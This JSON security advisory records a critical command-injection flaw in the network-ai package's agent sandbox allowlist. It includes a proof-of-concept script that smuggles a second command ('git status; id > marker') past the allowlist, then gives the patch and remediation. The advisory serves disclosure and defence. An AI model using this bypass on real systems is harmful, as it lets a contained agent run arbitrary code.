{"id":"CVE-2026-54051","aliases":["GHSA-qw6v-5fcf-5666"],"url":"https://o3.security/vulnerability/CVE-2026-54051","summary":"Network-AI has an an OS Command Injection issue","details":"## Summary\n\nThe agent sandbox gates shell commands behind an allowlist (`SandboxPolicy.isCommandAllowed`), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the whole command string, but `ShellExecutor` runs that string through `/bin/sh -c`. So any wildcard allow such as `git *`, `npm *` or `node *` also matches `git status; <anything>`, and a scoped command becomes arbitrary execution.\n\n## Root cause\n\nMatching and execution disagree on what a command is. Lines pinned to `40e42d7` (`lib/agent-runtime.ts` is identical to the v5.8.5 tag).\n\n1. `isCommandAllowed` matches the full string, with no tokenizing and no metacharacter check:\n\nhttps://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L248-L260\n\n2. `globMatch` compiles `*` to `.*` and anchors it, so `git *` becomes `^git .*$` and matches `git status; id`:\n\nhttps://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L353-L360\n\n3. `ShellExecutor.execute` only checks `isCommandAllowed`, never `requiresApproval`:\n\nhttps://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L387-L391\n\n4. `spawnCommand` runs the approved string via `/bin/sh -c`, so `;`, `|` and `$(...)` are interpreted by the shell:\n\nhttps://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L427-L431\n\n## Reachability\n\nAny agent or caller allowed to run commands hits this when the operator allowlist has a wildcard entry. A plain `git *` is enough. No fresh-install precondition and no extra misconfiguration.\n\n## PoC\n\nInstalls `network-ai@5.8.5`, allows `git *`, then runs `git status; id > marker`.\nThe allowlist accepts it and the injected `id` runs.\n\nRun: `npm i network-ai@5.8.5 && node poc-316.js`\n\n```js\n'use strict';\nconst os = require('os');\nconst fs = require('fs');\nconst path = require('path');\nconst { SandboxPolicy, ShellExecutor } = require('network-ai');\n\n(async () => {\n  const base = fs.mkdtempSync(path.join(os.tmpdir(), 'nai-poc-316-'));\n  const marker = path.join(base, 'PWNED-316.txt');\n  const policy = new SandboxPolicy({ basePath: base, allowedCommands: ['git *'] });\n  const sh = new ShellExecutor(policy);\n\n  const payload = `git status; id > ${marker}; echo INJECTED`;\n  console.log('version:', require('network-ai/package.json').version);\n  console.log('allowed:', policy.isCommandAllowed(payload));\n\n  await sh.execute(payload);\n  const ran = fs.existsSync(marker);\n  console.log('injected id ran:', ran, ran ? fs.readFileSync(marker, 'utf8').trim() : '');\n  console.log(ran ? 'VULNERABLE' : 'not reproduced');\n  process.exit(ran ? 0 : 1);\n})().catch(err => { console.error(err); process.exit(3); });\n```\n\nOutput:\n\n```\nversion: 5.8.5\nallowed: true\ninjected id ran: true uid=501(alex) gid=20(staff) groups=20(staff),...\nVULNERABLE\n```\n\n## Impact\n\nArbitrary command execution as the orchestrator process. It defeats the one control meant to contain a compromised agent, so any agent with a single wildcard allow (`git *`, `npm *`, `node *`) can run anything. `node *` and `npm *` are direct code exec even without metacharacters.\n\n## Possible fix\n\nDo not run agent commands through a shell. Parse to argv and `spawn(file, args, { shell: false })`, allowlist on the executable plus argument patterns, and reject shell metacharacters. Anchoring the regex alone is not enough; the whole-string match plus `/bin/sh -c` is the bug.\n\n\n## Patch\n\nFixed in **v5.9.1** (commit `379f776`). `ShellExecutor` now executes via `spawn(file, args, { shell: false })` using a quote-aware parsed argv, so no shell is invoked. `SandboxPolicy.isCommandAllowed` and the new `SandboxPolicy.tokenizeCommand` reject any unquoted shell metacharacter (`; & | $ ` ` ` ( ) < > { }` newline) or unterminated quote **before** the allowlist glob match; quoted metacharacters are preserved as literal argument data.\n\n**Remediation:** upgrade to `network-ai@5.9.1` or later. As defense in depth, avoid broad wildcard allowlist entries such as `node *` / `npm *` which are direct code execution by design.","published":"2026-07-20T16:24:20.791Z","modified":"2026-10-21T02:58:31.913672233Z","cvss":{"score":9.9,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"},"epss":{"score":0.00666,"percentile":0.49857,"asOf":"2026-09-12"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"network-ai","fixedVersion":"5.9.1"}],"fix":{"url":"https://github.com/Jovancoding/Network-AI/commit/379f77656b578144e03415c5b134d8309a4b5792","label":"Jovancoding/Network-AI@379f776"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54051.json"},{"type":"ADVISORY","url":"https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-qw6v-5fcf-5666"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54051"},{"type":"FIX","url":"https://github.com/Jovancoding/Network-AI/commit/379f77656b578144e03415c5b134d8309a4b5792"},{"type":"PACKAGE","url":"https://github.com/Jovancoding/Network-AI"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T02:58:31.913672233Z"}}